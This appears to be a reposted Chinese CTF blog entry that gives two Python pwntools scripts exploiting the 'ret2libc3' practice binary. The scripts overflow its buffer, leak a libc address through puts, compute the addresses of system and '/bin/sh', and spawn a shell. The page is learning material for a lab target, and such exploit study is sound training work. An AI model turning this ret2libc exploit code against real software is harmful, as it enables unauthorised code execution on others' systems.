zoukankan      html  css  js  c++  java
  • ret2libc3两种利用方法

    方法1(使用LibcSearcher):

    from pwn import *
    from LibcSearcher import LibcSearcher
    sh = process('./ret2libc3')
    
    ret2libc3 = ELF('./ret2libc3')
    
    puts_plt = ret2libc3.plt['puts']
    libc_start_main_got = ret2libc3.got['__libc_start_main']
    main = ret2libc3.symbols['main']
    
    print "leak libc_start_main_got addr and return to main again"
    payload = flat(['A' * 112, puts_plt, main, libc_start_main_got])
    sh.sendlineafter('Can you find it !?', payload)
    
    print "get the related addr"
    libc_start_main_addr = u32(sh.recv()[0:4])
    libc = LibcSearcher('__libc_start_main', libc_start_main_addr)
    libcbase = libc_start_main_addr - libc.dump('__libc_start_main')
    system_addr = libcbase + libc.dump('system')
    binsh_addr = libcbase + libc.dump('str_bin_sh')
    
    print "get shell"
    payload = flat(['A' * 104, system_addr, 0xdeadbeef, binsh_addr])
    sh.sendline(payload)
    
    sh.interactive()
    

    方法2(不使用LibcSearcher):

    from pwn import *
    
    sh = process('./ret2libc3')
    elf = ELF('./ret2libc3')
    libc = ELF('/lib/i386-linux-gnu/libc.so.6')
    
    puts_plt = elf.plt['puts']
    libc_start_main_got = elf.got['__libc_start_main']
    main = elf.symbols['main']
    
    print "leak libc_start_main_got addr and return to main again"
    payload = flat(['A' * 112, puts_plt, main, libc_start_main_got])
    sh.sendlineafter('Can you find it !?', payload)
    
    print "get the related addr"
    libc_start_main_addr = u32(sh.recv()[0:4])
    
    libcbase = libc_start_main_addr - 0x18d90
    print hex(libcbase)
    system_addr = libcbase + 0x3d200
    binsh_addr = libcbase + 0x0017e0cf
    print "get shell"
    payload = flat(['A' * 104, system_addr, 0xdeadbeef, binsh_addr])
    sh.sendline(payload)
    
    sh.interactive()
    
  • 相关阅读:
    ASP.NET MVC中权限控制的简单实现
    HDU1004——Let the Balloon Rise
    如何使用飞秋FeiQ实现两电脑通信(或传输文件)
    vb.net 鼠标控制
    ireport制作报表pageheader只在第一页出现的解决办法
    Keycode对照表
    leetcode第一刷_Binary Tree Zigzag Level Order Traversal
    换硬币问题
    STM32 寄存器库和固件库
    java网络编程(2)InetAddress 类及udp协议
  • 原文地址:https://www.cnblogs.com/xlcm/p/11905774.html
Copyright © 2011-2022 走看看